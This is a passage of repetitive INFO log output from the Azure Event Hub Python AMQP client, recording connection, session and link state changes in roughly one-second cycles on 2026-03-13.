INFO: Link state changed: -> +2026-03-13 03:18:45,663 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:45,664 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:45,664 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:45,664 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:45,664 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:45,664 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:45,664 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:45,664 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:45,664 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:45,664 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:45,900 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:46,016 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:46,016 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:46,016 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:46,016 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:46,016 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,016 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:46,017 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,017 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:46,073 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:46,124 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:46,174 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:46,224 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,224 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:46,275 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,275 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:46,484 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,542 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:46,657 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,888 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:46,997 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:46,997 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:46,997 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:46,997 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:46,997 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,997 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:46,998 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:46,998 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:47,051 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:47,101 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:47,152 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:47,202 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:47,202 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:47,252 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:47,253 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:47,458 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:47,512 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:47,625 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:47,867 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:47,986 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:47,986 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:47,986 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:47,986 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:47,986 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:47,986 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:47,986 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:47,986 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:48,044 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:48,095 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:48,145 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:48,196 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:48,196 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:48,246 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:48,246 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:48,456 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:48,516 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:48,632 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:48,632 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:48,632 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:48,632 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:48,632 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:48,632 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:48,633 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:48,633 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:48,633 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:48,633 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:48,633 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:48,633 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:48,633 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:48,633 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:48,881 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:48,998 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:48,998 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:48,998 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:48,998 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:48,998 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:48,998 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:48,999 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:48,999 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:49,056 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:49,106 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:49,157 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:49,207 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:49,207 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:49,257 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:49,257 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:49,467 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:49,526 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:49,640 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:49,641 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:49,872 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:49,980 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:49,981 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:49,981 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:49,981 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:49,981 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:49,981 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:49,981 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:49,981 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:50,035 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:50,085 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:50,135 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:50,186 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:50,186 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:50,236 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:50,237 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:50,442 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:50,497 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:50,609 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:50,609 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:50,609 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:50,609 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:50,609 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:50,609 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:50,609 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:50,609 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:50,609 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:50,610 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:50,610 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:50,610 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:50,610 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:50,610 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:50,834 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:50,941 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:50,941 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:50,941 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:50,941 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:50,941 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:50,941 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:50,942 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:50,942 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:50,994 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:51,044 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:51,095 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:51,145 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:51,145 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:51,196 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:51,196 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:51,400 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:51,454 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:51,567 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:51,782 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:51,882 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:51,882 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:51,882 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:51,882 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:51,883 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:51,883 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:51,883 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:51,883 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:51,932 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:51,983 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:52,033 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:52,083 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:52,084 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:52,134 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:52,134 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:52,336 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:52,386 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:52,497 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:52,497 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:52,497 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:52,497 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:52,497 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:52,497 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:52,498 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:52,498 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:52,498 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:52,498 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:52,498 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:52,498 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:52,498 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:52,498 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:52,733 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:52,849 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:52,849 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:52,849 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:52,849 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:52,850 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:52,850 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:52,850 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:52,850 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:52,907 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:52,957 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:53,007 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:53,058 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:53,058 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:53,108 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:53,108 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:53,318 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:53,376 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:53,491 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:53,722 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:53,831 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:53,831 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:53,831 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:53,831 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:53,831 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:53,831 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:53,832 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:53,832 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:53,885 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:53,935 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:53,986 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:54,036 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:54,036 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:54,087 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:54,087 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:54,292 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:54,347 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:54,460 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:54,704 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:54,822 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:54,822 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:54,822 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:54,822 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:54,822 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:54,822 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:54,822 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:54,822 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:54,880 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:54,931 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:54,981 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:55,031 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:55,031 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:55,082 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:55,082 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:55,292 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:55,354 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:55,473 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:55,473 